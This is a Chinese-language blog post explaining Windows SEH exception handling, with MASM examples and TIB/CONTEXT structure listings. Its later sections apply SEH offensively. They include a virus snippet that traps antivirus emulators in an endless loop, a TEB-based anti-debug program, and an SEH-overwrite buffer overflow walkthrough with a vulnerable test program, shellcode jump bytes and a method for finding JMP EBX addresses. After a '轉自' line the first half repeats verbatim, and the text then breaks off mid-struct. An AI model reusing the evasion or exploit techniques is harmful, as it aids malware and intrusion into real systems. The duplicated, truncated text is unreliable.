前一段時間,在看異常處理一章內容的時候,發現這一部分還真的挺有尿水:)所以上網搜了一下有關內容,呦嗬,還挺豐富的。當然有些自己還是看不懂,現在就將這些寶貝拿出來跟大家共享一下。
首先我們看一下使用異常處理的幾種情況:
A. 用來處理非致命的錯誤
B. 對API函數的參數合法性的檢驗(假設參數都是合法的,只有遇到異常的時候進行合法性檢驗)
C. 處理致命錯誤(退出時最好的選擇,但是有的時候可以用異常處理函數在程序退出前釋放資源,刪除臨時文件等,甚至可以詳細記錄產生異常的指令位置和環境)
D. 處理“計劃內”的異常(我們可能更關心這種情況,因為可以做很多的手腳,哈哈)
接著我們看看Windows下異常處理的兩種方式:1使用篩選器2 SEH異常處理
一、 使用篩選器
因為這里我要重點關注的是SEH的處理方式,所以還是簡單的提一下篩選器處理方式。篩選器異常處理是通過異常回調函數來指定程序處理異常。這種方式的回調函數必須是唯一的,設置新的回調函數后以前的將失效。適用于進程范圍??匆幌逻@個函數的定義
Invoke SetUnhandledExecpionFilter,offset_Handler
Mov lpPrevHandler,eax
(先到這里吧有些難受,明天接著來)
######題外話:想起“司令”的一句話,覺得挺有道理:明天不一定美好,但是更美好的明天一定會到來!祝福所有的朋友。######
上午有會,什么也沒有做,下午?還有會,我tm暈了,中午不睡覺了,不把事情做不完心里不踏實。
回調函數的格式:
_Handlerproc pExecptionInfo
看看pExecptionInfo這個指針參數指向的一個數據結構
EXCEPTION_POINTERS STRUCT
pExceptionRecord DWORD ?
ContextRecord DWORD ?
EXCEPTION_POINTERS ENDS
下面介紹 EXCEPTION_RECORD和CONTEXT結構的定義:
;//===================== 以下是兩個成員的詳細結構=========================
EXCEPTION_RECORD STRUCT
ExceptionCode DWORD ? ;//異常碼
ExceptionFlags DWORD ? ;//異常標志
pExceptionRecord DWORD ? ;//指向另外一個EXCEPTION_RECORD的指針
ExceptionAddress DWORD ? ;//異常發生的地址
NumberParameters DWORD ? ;//下面ExceptionInformation所含有的dword數目
ExceptionInformation DWORD EXCEPTION_MAXIMUM_PARAMETERS dup(?)
EXCEPTION_RECORDENDS ;//EXCEPTION_MAXIMUM_PARAMETERS ==15
;//=============================具體解釋================================
ExceptionCode 異常類型,SDK里面有很多類型,你可以在windows.inc里查找STATUS_來找到更多的異常類型,下面只給出hex值,具體標識定義請查閱windows.inc,你最可能遇到的幾種類型如下:
C0000005h----讀寫內存沖突
C0000094h----非法除0
C00000FDh----堆棧溢出或者說越界
80000001h----由Virtual Alloc建立起來的屬性頁沖突
C0000025h----不可持續異常,程序無法恢復執行,異常處理例程不應處理這個異 常
C0000026h----在異常處理過程中系統使用的代碼,如果系統從某個例程莫名奇妙的返回,則出現此代碼, 如果RtlUnwind時沒有Exception Record參數也同樣會填入這個代碼
80000003h----調試時因代碼中int3中斷
80000004h----處于被單步調試狀態
注:也可以自己定義異常代碼,遵循如下規則:
____________________________________________________________________
位: 31~30 29~28 27~16 15~0
____________________________________________________________________
含義: 嚴重程度 29位 功能代碼 異常代碼
0==成功 0==Mcrosoft MICROSOFT定義 用戶定義
1==通知 1==客戶
2==警告 28位
3==錯誤 被保留必須為0
ExceptionFlags 異常標志
0----可修復異常
1----不可修復異常
2----正在展開,不要試圖修復什么,需要的話,釋放必要的資源
pExceptionRecord 如果程序本身導致異常,指向那個異常結構
ExceptionAddress 發生異常的eip地址
ExceptionInformation 附加消息,在調用RaiseException可指定或者在異常號為C0000005h即內存異常時含義如下
第一個dword 0==讀沖突 1==寫沖突
第二個dword 讀寫沖突地址
;//================================解釋結束============================
off.
CONTEXT STRUCT ; _
ContextFlags DWORD ? ; | +0
iDr0 DWORD ? ; | +4
iDr1 DWORD ? ; | +8
iDr2 DWORD ? ; >調試寄存器 +C
iDr3 DWORD ? ; | +10
iDr6 DWORD ? ; | +14
iDr7 DWORD ? ; _| +18
FloatSave FLOATING_SAVE_AREA <> ;浮點寄存器區 +1C~~~88h
regGs DWORD ? ;--| +8C
regFs DWORD ? ; |/段寄存器 +90
regEs DWORD ? ; |/ +94
regDs DWORD ? ;--| +98
regEdi DWORD ? ;____________ +9C
regEsi DWORD ? ; | 通用 +A0
regEbx DWORD ? ; | 寄 +A4
regEdx DWORD ? ; | 存 +A8
regEcx DWORD ? ; | 器 +AC
regEax DWORD ? ;_______|___組_ +B0
regEbp DWORD ? ;++++++++++++++++ +B4
regEip DWORD ? ; |控制 +B8
regCs DWORD ? ; |寄存 +BC
regFlag DWORD ? ; |器組 +C0
regEsp DWORD ? ; | +C4
regSs DWORD ? ;++++++++++++++++ +C8
ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?)
CONTEXT ENDS
;//============================以上是兩個成員的詳細結構============
程序使用篩選器異常處理時可以通過查看上面結構中的regEip來找到產生異常的地址!調試的時候可以改變EIP的值以達到越過異常程序,轉到“安全”的地方。
最后看一下篩選器異常處理回調函數的返回值
EXECPTION_EXECUTE_HANDLER 1;進程被終止,終止前不會出現提示錯誤的對話框
EXECPTION_CONTINUE_SEARCH 0;同樣終止程序,顯示錯誤對話框
EXECPTION_CONTINUE_EXECUTION -1;系統將CONTECT設置回去,繼續執行程序
使用篩選器程序是最簡單的處理異常方法,不足:1 不便于封裝。2 處理是全局性的也就是無法對每個線程或子程序設置一個私有的異常處理程序進行異常處理。
進入正題:SEH異常處理
首先解釋一下什么是SEH異常處理:SEH("Structured Exception Handling"
,即結構化異常處理.是操作系統提供給程序設計者的強有力的處理程序錯誤或異常的武器。
下面結合冷雨飄心的一個SEH異常處理程序來說明具體的用法:
;//====================================================================
;// ex. 2,by Hume,2001 線程相關的異常處理
;//====================================================================
.386
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h ;//相關的頭文件,你自己維護一個吧
;//============================
.data
szCap db "By Hume[AfO],2001...",0
szMsgOK db "It's now in the Per_Thread handler!",0
szMsgERR1 db "It would never Get here!",0
buff db 200 dup(0)
.code
_start:
;//========prog begin====================
ASSUME FS:NOTHING
push offset perThread_Handler
push fs:[0]
mov fs:[0],esp ;//建立SEH的基本ERR結構,如果不明白,就仔細研究一下吧
xor ecx,ecx
mov eax,200
cdq ;//雙字擴展到四個字節,因為是除法
div ecx
;//以下永遠不會被執行
invoke MessageBox,NULL,addr szMsgERR1,addr szCap,MB_OK+MB_ICONINFORMATION
pop fs:[0]
add esp,4
invoke ExitProcess,NULL
;//============================
perThread_Handler:
invoke MessageBox,NULL,addr szMsgOK,addr szCap,MB_OK+MB_ICONINFORMATION
mov eax,1 ;//ExceptionContinueSearch,不處理,由其他例程或系統處理
;mov eax,0 ;//ExceptionContinueExecution,表示已經修復CONTEXT,可從異常發生處繼續執行
ret ;//這里如果返回0,你會陷入死循環,不斷跳出對話框....
;//=============================Prog Ends==============
end _start
程序本身很簡單,注釋也很詳細。我們來看看是如何注冊回調函數的
push offset perThread_Handler
push fs:[0]
mov fs:[0],esp
僅僅三個語句就解決了~那么為什么要用fs這個段寄存器呢?這里又涉及一個重要的內容:TIB(Thread Information Block線程信息塊)。我們來看看這個重要的數據結構(引用了《羅聰淺談利用SEB實現反跟蹤》的部分內容)
TEB(Thread Environment Block) 在 Windows 9x 系 列中被稱為 TIB(Thread Information Block),它記錄了線程的重要信息,而且每一個線程都會對應一個 TEB 結 構。 Matt Pietrek 大牛已經給我們列出了它的結構,我就不多說啦,見下:(摘 自 Matt Pietrek 的 Under The Hood - MSJ 1996)
//===========================================================
// file: TIB.H
// Author: Matt Pietrek
// From: Microsoft Systems Journal "Under the Hood", May 1996
//===========================================================
#pragma pack(1)
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD * pNext;
FARPROC pfnHandler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack
union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD pvTDB; // 0Ch TDB
WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits
DWORD unknown1; // 10h
} WIN95;
struct // WinNT fields
{
PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h
} WINNT;
} TIB_UNION1;
PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
} WIN95;
struct // WinNT fields
{
DWORD unknown1; // 1Ch
DWORD processID; // 20h
DWORD threadID; // 24h
DWORD unknown2; // 28h
} WINNT;
} TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences)
{
struct // Win95 fields
{
PVOID* pProcess; // 30h Pointer to owning process database
} WIN95;
} TIB_UNION3;
} TIB, *PTIB;
#pragma pack()
讓我們抬頭看看上面的 Matt Pietrek 的代碼,其中有這么一行:
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list
注 意到 PEXCEPTION_REGISTRATION_RECORD 這個定義,它表示 pvExcept 這個變量正 是 exception record list 的入口,這個入口位于整個結構的 0 偏移處。同時, 在 M 的 Intel i386 Windows NT/2K/XP 內核中,每當創建一個線程,OS 均會為每個線程分配 TEB ,而 且 TEB 永遠放在 fs 段選擇器指定的數據段的 0 偏移處。
這樣一來,你就明白了 SEH 注冊的偏移為什么是在 fs:[0] 了吧?
事實上 Windows 系統都是通過這種方法來為應用程序提供信息的,比如有這樣的例子:
struct _tib *ptibSelf; // 18h Linear address of TIB structure
DWORD threadID; // 24h
Windows 提供了一個 API :GetCurrentThreadID(),它的內部工作原理其實是這樣的:(利用了上面的這兩個地址)
mov eax, fs:[18h] ;因為 18h 偏移處是 TIB 結構的線性偏移地址
mov eax, [eax + 24h] ;因為 24h 偏移處是 threadID 的地址
ret ;把 eax 中儲存的 threadID 地址返回
注:為什么要聲明assume fs:nothing?因為masm編譯器默認將fs段寄存器定義為error,所以程序在使用fs前必須將它啟動!
接下來看看SEH的回調函數
_Handler proc _lpExecptionRecord, _lpSEH,lp_context,lp_DispatcherContext
_lpExecptionRecord指向一個EXECPTION_RECORD結構。
lp_context 指向一個CONTEXT結構。
_lpSEH 指向注冊回調函數時使用的EXXCEPTION_REGISTRATION結構的地址。
返回值有四種取值:
ExecptionContinueExecution ( 0
:系統將線程環境設置為_lpContext指向的CONTEXT結構并繼續執行。
ExceptionContinueSearch(1):回調函數拒絕處理這個異常,系統通過EXECPTION_REGISTRATION結構的prev字段得到前一個回調函數的地址并調用它。
ExecptionNestedExecption (2):發生異常嵌套。
ExecptionCollidedUnwind (3):異常展開操作。這一個部分不做多講,有興趣的可以看看羅云彬的書,其實是很重要的一部分。
如果一個程序既有篩選器異常處理又有SEH異常處理,而且系統還有默認的異常處理機制,那么他們被調用的先后次序是怎么樣的呢?
發生異常時系統的處理順序(by Jeremy Gordon):
1.系統首先判斷異常是否應發送給目標程序的異常處理例程,如果決定應該發送,并且目標程序正在被調試,則系統掛起程序并向調試器發送EXCEPTION_DEBUG_EVENT消息.呵呵,這不是正好可以用來探測調試器的存在嗎?
2.如果你的程序沒有被調試或者調試器未能處理異常,系統就會繼續查找你是否安裝了線程相關的異常處理例程,如果你安裝了線程相關的異常處理例程,系統就把異常發送給你的程序seh處理例程,交由其處理.
3.每個線程相關的異常處理例程可以處理或者不處理這個異常,如果他不處理并且安裝了多個線程相關的異常處理例程,可交由鏈起來的其他例程處理.
4.如果這些例程均選擇不處理異常,如果程序處于被調試狀態,操作系統仍會再次掛起程序通知debugger.
5.如果程序未處于被調試狀態或者debugger沒有能夠處理,并且你調用SetUnhandledExceptionFilter安裝了最后異 常處理例程的話,系統轉向對它的調用.
6.如果你沒有安裝最后異常處理例程或者他沒有處理這個異常,系統會調用默認的系統處理程序,通常顯示一個對話框, 你可以選擇關閉或者最后將其附加到調試器上的調試按鈕.如果沒有調試器能被附加于其上或者調試器也處理不了,系統就調用ExitProcess終結程序.
7.不過在終結之前,系統仍然對發生異常的線程異常處理句柄來一次展開,這是線程異常處理例程最后清理的機會.
說了這么多你也許會問SEH異常處理到底有什么用處呢?呵呵,且聽小生慢慢道來~~~
第一道菜:病毒程序巧用SEH
這里簡單的說一下如何利用SEH異常處理程序來躲避下毒軟件的反病毒引擎。一個反病毒引擎在一個程序運行的時候會模擬程序的代碼,當發現程序代碼的疑點比較多的時候會報告成病毒??纯聪旅孢@段程序:
start:call Set_SEH;這句其實就是 push offset CONTINUE
; JMP Set_SEH
CONTINUE:mov esp, [esp+8]; [ESP+8]存儲的是舊的堆棧地址。
push offset Start_Virus ;----_ 把Start_Virus 的地址壓棧,當作返回地址
ret;----跳到Start_Virus去,是不是很magic?
Set_SEH:sub edx, edx ;Edx =0
Assume fs:nothing
push dword ptr fs:[edx];把指去 _EXCEPTIONAL_REGISTRATION_RECORD 結構的指針入棧
mov fs:[edx], esp;安裝一個seh
mov [edx],edx;引起一個內存讀寫沖突,發生異常因為edx=0
;如果反病毒引擎不處理異常,不進入seh 處理程序(即 CONTINUE:
,繼續模
;擬下個指令,也就是jmp start,那么就進入一個死循環,可能會引起死機。
jmp start
Start_Virus: .....
是不是很簡單呢?就是讓反病毒引擎不處理這個人為的異常時進入死循環~!!
第二道菜:TEB反跟蹤初探
如果你的記性夠好的話一定記得上面介紹過的TEB(TIB)線程信息塊結構中有這么一句:
PVOID* pProcess; // 30h Pointer to owning process database
這 個偏移地址處的內容非常有用,它指向本線程的擁有者的 PDB(Process Database) 的線性地址。當你用動態調試器,例 如 OllyDbg 的時候,調試器是把調試的對象作為一個子線程進行跟蹤的,在這種情況下,被調試的對象的“擁有者”就是調試器本身,也就是說,它 的 TEB 的 30h 處的偏移指向的內容肯定不為 0 ,這樣,我們就可以利用這一點,判斷 30h 偏移指向的內容,來判斷是否有調試器跟蹤。
最后給出一個 Anti-Debug 的例子程序,用 MASM 編譯完成后,請用 OllyDbg 來加載調試一下,看看與正常的運行結果有什么不同。
;*********************************************************
;程序名稱:演示利用 TEB 結構進行 Anti-Debug
; 請用 OllyDbg 進行調試
;適用OS:Windows NT/2K/XP
;作者:羅聰
;日期:2003-2-9
;出處:
http://www.LuoCong.com(老羅的繽紛天地)
;注意事項:如欲轉載,請保持本程序的完整,并注明:
;轉載自“老羅的繽紛天地”(
http://www.LuoCong.com)
;*********************************************************
.386
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
includelib /masm32/lib/kernel32.lib
includelib /masm32/lib/user32.lib
.data
szCaption db "Anti-Debug Demo by LC, 2003-2-9", 0
szDebugged db "Hah, let me guess... U r dEBUGGINg me!
", 0
szFine db "Good boy, no dEBUGGEr detected!", 0
.code
main:
assume fs:nothing
mov eax, fs:[30h] ;指向 PDB(Process Database)
movzx eax, byte ptr [eax + 2h];無符號數帶零擴展
or al, al
jz _Fine
_Debugged:
push MB_OK or MB_ICONHAND
push offset szCaption
push offset szDebugged
jmp _Output
_Fine:
push MB_OK or MB_ICONINformATION
push offset szCaption
push offset szFine
_Output:
push NULL
call MessageBoxA
invoke ExitProcess, 0
end main
第三道菜:利用SEH執行shellcode
假設異常處理例程入口00401053,程序剛開始執行時esp是0012ffc4,以前的fs:[0]是0012ffe0
建立了TIB結構的第一個成員后堆棧的情況如下:
內存低地址
| E0 |12ffbc(esp)
| FF |
| 12 | --ERR結構的第一個成員
|_00_|
| 53 |12ffc0
| 10 |
| 40 | --ERR結構的第二個成員
| 00 |
內存高地址
好了然后程序CALL一個函數,函數里面有一個局部變量并且在往其分配的空間中寫入的數據時產生溢出.這時堆棧如下
____
| |12f000 局部變量分配的空間,并且向12ffc0方向溢出了.
| |
....
....
|_EBP|12ffb4 函數中保存老的EBP
| xx |
| xx |
| xx |
|_EIP|12ffb8 call函數時EIP進棧
| xx |
| xx |
|_xx_|
| E0 |12ffbc(esp) {當SEH起作用的時候EBX剛好指向這個地址(也可說總是指向當前ERR結構)}
| FF |
| 12 | --ERR結構的第一個成員
|_00_|
| 53 |12ffc0
| 10 |
| 40 | --ERR結構的第二個成員
|_00_|
| |12ffc4
繼 續看,假設溢出代碼一直到了12ffc4,然后call的函數該返回了,因為保存的EIP被溢出代碼代替所以程序出錯(不會不出錯吧?),這樣ESH開始 起作用了(注:在這期間系統要執行一些操作,所以EBX才會指向當前ERR).這樣一來程序就會跳到12ffc0里的地址去執行!而12ffc0里的東東 早已不是原來的00401053了.這樣我們不就改變了程序的流向了么.12ffc0中該寫入什么內容呢?應是內存中JMP EBX的代碼的地址.這樣跳 了3下后最終就會跳到12ffbc去執行.這個四字節可是寶貴的啊
現在假設JMP EBX這個指令在內存中的地址是0x77e33f4d
那下具體看一下現在堆棧的情況:
| EB |12ffbc(esp) {當ESH起作用的時候EBX剛好指向這個地址(也可說總是指向當前ERR結構)}
| 06 |
| 90 | --ERR結構的第一個成員,執行JMP EBX后就到這兒來執行了(EB 06是短跳轉JMP 12FFC4的機器碼)
|_90_| 后面的90是nop空指令的機器碼.
| 4D |12ffc0
| 3F |
| E3 | --ERR結構的第二個成員,出錯處理函數的入口地址(現在成了JMP EBX的地址)
|_77_|
| |12ffc4
....
好現在來看看12ffc4里面有些什么代碼.(簡單的說這段代碼的作用是計算真正的shellcode的起始地址,然后跳過去執行.
低地址
| |12f000(shellcode開始地址)
....
....
| 81 |12ffc4
| C3 | add ebx,FFFFF03Ch(ebx=12ffc4,指令長度6,作用計算計算shellcode地址)
| 3C |
| F0 |
| FF |
| FF |
| FF |12ffca jmp ebx
| D3 |
高地址
測試程序
-------------------------SEH.ASM------------------
.386
.model flat,stdcall
option casemap:none
include ../include/user32.inc
includelib ../lib/user32.lib
include ../include/kernel32.inc
includelib ../lib/kernel32.lib
.data
hello db '利用一個讀INI文件的API來演示WIN2000本地溢出',0
lpFileName db './seh.ini',0
lpAppName db 'iam',0
lpKeyName db 'czy',0
lpDefault db 'ddd',0
szCap db "SEH TEST",0
szMsgOK db "OK,the exceptoin was handled by final handler!",0
szMsgERR1 db "It would never Get here!",0
.code
testov proc
local lpReturnedString[2224] : byte ;返回的字串搞成本地變量這樣就和C語言一樣了,它是在棧中
invoke GetPrivateProfileString,offset lpAppName,offset,lpKeyName,offset lpDefault,ADDR lpReturnedString,2249,offset lpFileName
invoke MessageBox,0,addr lpReturnedString,addr lpReturnedString,1
ret
testov endp
start:
ASSUME fs:NOTHING
invoke MessageBox,0,addr szMsgERR1,addr szCap,30h+1000h ;下斷點
push offset Final_Handler ;壓入正常的出錯處理程序入口地址
push FS:[0] ;把前一個TIB的地址壓入
mov fs:[0],esp
call testov
pop fs:[0] ;還原FS:[0]
Final_Handler: ;由于溢出了下面的代碼不會被執行.
invoke MessageBox,0,addr szMsgOK,addr szCap,30h
invoke ExitProcess,0
mov eax,1
ret
end start
-----------------end-------------
1
如何更好的在內存中找JMP EBX的代碼:
在softice中執行S 10:0 L FFFFFFFF FF D3就可以了,但實際上這樣找到的
地址可能不能執行代碼.所以用下面的方法:
map32 kernel32(在當前進程中查找映射的kernel32 DLL的信息)
一般有如下顯示:
Owner Obj Name Obj# Address Size TYPE
kernel32 .text 0001 001b:77b61000 0005d1ae code RO
......
然后
S 77b61000 L 5d1ae FF D3
如果顯示如下說明找到了:
Pattern Found at 0023:77e61674 ....
2)關于緩沖區的大小的問題:
利用SEH的辦法就起碼要設成1000個字節多,你的shellcode才不會被不知哪來的數據覆蓋!
這道菜czy做的不好吃:(我感覺理解起來有些困難~!因為關于緩沖區溢出自己接觸的太少,不過好東西要保留的,以后回過頭看!
第四道菜:用 SEH 技術實現 API Hook
這一部分不想展開了,給大家一個鏈接吧。
http://www.luocong.com/articles/show_article.asp?Article_ID=25
最后作為結束語說說的缺點吧:)一個人只有正視自己的缺點才能不斷地進步!呵呵
在 SEH異常處理鏈中最后一個被裝載的SEH異常處理程序總是被第一個調用,想想如果自己花了一個星期才寫出來一個異常處理程序,能夠完美處理所有異常,并 希望異常全部由你來處理,但很不幸,比如你調用了一個外部模塊,而這個模塊自己安裝了一個ugly的seh處理例程,他的動作是只要有異常發生就簡單地終 止程序,哈哈,那就死悄悄了。又比如你想在你的加殼程序里面加密目標程序代碼段,然后發生無效指令異常的時候用你自己安裝的處理句柄來解密代碼段繼續執 行,聽起來這的確是一個好主意,但遺憾的是大多數C/C++代碼都用_try{}_except{}塊來保證其正確運行,而這些異常處理例程是在你殼注冊 的例程之后安裝的,因而也就在鏈的前面,無效指令一執行,首先是C/C++編譯器本身提供的處理例程或者程序其他的異常處理例程來處理,可能簡單結束程序 或者....
好累!~~~~~~
寫了兩天,錯了,應該是剪接+消化了兩天,有很多的程序和文字是從hume,老羅,還有czy那里“剽竊”的:)希望高手們不要生氣~~天下書籍一大抄。你們的必將是我的,當然我的也會共享給你們的。呵呵,現在還不行,級別不夠啊。
轉自:首先我們看一下使用異常處理的幾種情況:
A. 用來處理非致命的錯誤
B. 對API函數的參數合法性的檢驗(假設參數都是合法的,只有遇到異常的時候進行合法性檢驗)
C. 處理致命錯誤(退出時最好的選擇,但是有的時候可以用異常處理函數在程序退出前釋放資源,刪除臨時文件等,甚至可以詳細記錄產生異常的指令位置和環境)
D. 處理“計劃內”的異常(我們可能更關心這種情況,因為可以做很多的手腳,哈哈)
接著我們看看Windows下異常處理的兩種方式:1使用篩選器2 SEH異常處理
一、 使用篩選器
因為這里我要重點關注的是SEH的處理方式,所以還是簡單的提一下篩選器處理方式。篩選器異常處理是通過異常回調函數來指定程序處理異常。這種方式的回調函數必須是唯一的,設置新的回調函數后以前的將失效。適用于進程范圍??匆幌逻@個函數的定義
Invoke SetUnhandledExecpionFilter,offset_Handler
Mov lpPrevHandler,eax
(先到這里吧有些難受,明天接著來)
######題外話:想起“司令”的一句話,覺得挺有道理:明天不一定美好,但是更美好的明天一定會到來!祝福所有的朋友。######
上午有會,什么也沒有做,下午?還有會,我tm暈了,中午不睡覺了,不把事情做不完心里不踏實。
回調函數的格式:
_Handlerproc pExecptionInfo
看看pExecptionInfo這個指針參數指向的一個數據結構
EXCEPTION_POINTERS STRUCT
pExceptionRecord DWORD ?
ContextRecord DWORD ?
EXCEPTION_POINTERS ENDS
下面介紹 EXCEPTION_RECORD和CONTEXT結構的定義:
;//===================== 以下是兩個成員的詳細結構=========================
EXCEPTION_RECORD STRUCT
ExceptionCode DWORD ? ;//異常碼
ExceptionFlags DWORD ? ;//異常標志
pExceptionRecord DWORD ? ;//指向另外一個EXCEPTION_RECORD的指針
ExceptionAddress DWORD ? ;//異常發生的地址
NumberParameters DWORD ? ;//下面ExceptionInformation所含有的dword數目
ExceptionInformation DWORD EXCEPTION_MAXIMUM_PARAMETERS dup(?)
EXCEPTION_RECORDENDS ;//EXCEPTION_MAXIMUM_PARAMETERS ==15
;//=============================具體解釋================================
ExceptionCode 異常類型,SDK里面有很多類型,你可以在windows.inc里查找STATUS_來找到更多的異常類型,下面只給出hex值,具體標識定義請查閱windows.inc,你最可能遇到的幾種類型如下:
C0000005h----讀寫內存沖突
C0000094h----非法除0
C00000FDh----堆棧溢出或者說越界
80000001h----由Virtual Alloc建立起來的屬性頁沖突
C0000025h----不可持續異常,程序無法恢復執行,異常處理例程不應處理這個異 常
C0000026h----在異常處理過程中系統使用的代碼,如果系統從某個例程莫名奇妙的返回,則出現此代碼, 如果RtlUnwind時沒有Exception Record參數也同樣會填入這個代碼
80000003h----調試時因代碼中int3中斷
80000004h----處于被單步調試狀態
注:也可以自己定義異常代碼,遵循如下規則:
____________________________________________________________________
位: 31~30 29~28 27~16 15~0
____________________________________________________________________
含義: 嚴重程度 29位 功能代碼 異常代碼
0==成功 0==Mcrosoft MICROSOFT定義 用戶定義
1==通知 1==客戶
2==警告 28位
3==錯誤 被保留必須為0
ExceptionFlags 異常標志
0----可修復異常
1----不可修復異常
2----正在展開,不要試圖修復什么,需要的話,釋放必要的資源
pExceptionRecord 如果程序本身導致異常,指向那個異常結構
ExceptionAddress 發生異常的eip地址
ExceptionInformation 附加消息,在調用RaiseException可指定或者在異常號為C0000005h即內存異常時含義如下
第一個dword 0==讀沖突 1==寫沖突
第二個dword 讀寫沖突地址
;//================================解釋結束============================
off.
CONTEXT STRUCT ; _
ContextFlags DWORD ? ; | +0
iDr0 DWORD ? ; | +4
iDr1 DWORD ? ; | +8
iDr2 DWORD ? ; >調試寄存器 +C
iDr3 DWORD ? ; | +10
iDr6 DWORD ? ; | +14
iDr7 DWORD ? ; _| +18
FloatSave FLOATING_SAVE_AREA <> ;浮點寄存器區 +1C~~~88h
regGs DWORD ? ;--| +8C
regFs DWORD ? ; |/段寄存器 +90
regEs DWORD ? ; |/ +94
regDs DWORD ? ;--| +98
regEdi DWORD ? ;____________ +9C
regEsi DWORD ? ; | 通用 +A0
regEbx DWORD ? ; | 寄 +A4
regEdx DWORD ? ; | 存 +A8
regEcx DWORD ? ; | 器 +AC
regEax DWORD ? ;_______|___組_ +B0
regEbp DWORD ? ;++++++++++++++++ +B4
regEip DWORD ? ; |控制 +B8
regCs DWORD ? ; |寄存 +BC
regFlag DWORD ? ; |器組 +C0
regEsp DWORD ? ; | +C4
regSs DWORD ? ;++++++++++++++++ +C8
ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?)
CONTEXT ENDS
;//============================以上是兩個成員的詳細結構============
程序使用篩選器異常處理時可以通過查看上面結構中的regEip來找到產生異常的地址!調試的時候可以改變EIP的值以達到越過異常程序,轉到“安全”的地方。
最后看一下篩選器異常處理回調函數的返回值
EXECPTION_EXECUTE_HANDLER 1;進程被終止,終止前不會出現提示錯誤的對話框
EXECPTION_CONTINUE_SEARCH 0;同樣終止程序,顯示錯誤對話框
EXECPTION_CONTINUE_EXECUTION -1;系統將CONTECT設置回去,繼續執行程序
使用篩選器程序是最簡單的處理異常方法,不足:1 不便于封裝。2 處理是全局性的也就是無法對每個線程或子程序設置一個私有的異常處理程序進行異常處理。
進入正題:SEH異常處理
首先解釋一下什么是SEH異常處理:SEH("Structured Exception Handling"

下面結合冷雨飄心的一個SEH異常處理程序來說明具體的用法:
;//====================================================================
;// ex. 2,by Hume,2001 線程相關的異常處理
;//====================================================================
.386
.model flat, stdcall
option casemap :none ; case sensitive
include hd.h ;//相關的頭文件,你自己維護一個吧
;//============================
.data
szCap db "By Hume[AfO],2001...",0
szMsgOK db "It's now in the Per_Thread handler!",0
szMsgERR1 db "It would never Get here!",0
buff db 200 dup(0)
.code
_start:
;//========prog begin====================
ASSUME FS:NOTHING
push offset perThread_Handler
push fs:[0]
mov fs:[0],esp ;//建立SEH的基本ERR結構,如果不明白,就仔細研究一下吧
xor ecx,ecx
mov eax,200
cdq ;//雙字擴展到四個字節,因為是除法
div ecx
;//以下永遠不會被執行
invoke MessageBox,NULL,addr szMsgERR1,addr szCap,MB_OK+MB_ICONINFORMATION
pop fs:[0]
add esp,4
invoke ExitProcess,NULL
;//============================
perThread_Handler:
invoke MessageBox,NULL,addr szMsgOK,addr szCap,MB_OK+MB_ICONINFORMATION
mov eax,1 ;//ExceptionContinueSearch,不處理,由其他例程或系統處理
;mov eax,0 ;//ExceptionContinueExecution,表示已經修復CONTEXT,可從異常發生處繼續執行
ret ;//這里如果返回0,你會陷入死循環,不斷跳出對話框....
;//=============================Prog Ends==============
end _start
程序本身很簡單,注釋也很詳細。我們來看看是如何注冊回調函數的
push offset perThread_Handler
push fs:[0]
mov fs:[0],esp
僅僅三個語句就解決了~那么為什么要用fs這個段寄存器呢?這里又涉及一個重要的內容:TIB(Thread Information Block線程信息塊)。我們來看看這個重要的數據結構(引用了《羅聰淺談利用SEB實現反跟蹤》的部分內容)
TEB(Thread Environment Block) 在 Windows 9x 系 列中被稱為 TIB(Thread Information Block),它記錄了線程的重要信息,而且每一個線程都會對應一個 TEB 結 構。 Matt Pietrek 大牛已經給我們列出了它的結構,我就不多說啦,見下:(摘 自 Matt Pietrek 的 Under The Hood - MSJ 1996)
//===========================================================
// file: TIB.H
// Author: Matt Pietrek
// From: Microsoft Systems Journal "Under the Hood", May 1996
//===========================================================
#pragma pack(1)
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD * pNext;
FARPROC pfnHandler;
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack
union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD pvTDB; // 0Ch TDB
WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits
DWORD unknown1; // 10h
} WIN95;
struct // WinNT fields
{
PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h
} WINNT;
} TIB_UNION1;
PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure
union // 1Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
} WIN95;
struct // WinNT fields
{
DWORD unknown1; // 1Ch
DWORD processID; // 20h
DWORD threadID; // 24h
DWORD unknown2; // 28h
} WINNT;
} TIB_UNION2;
PVOID* pvTLSArray; // 2Ch Thread Local Storage array
union // 30h (NT/Win95 differences)
{
struct // Win95 fields
{
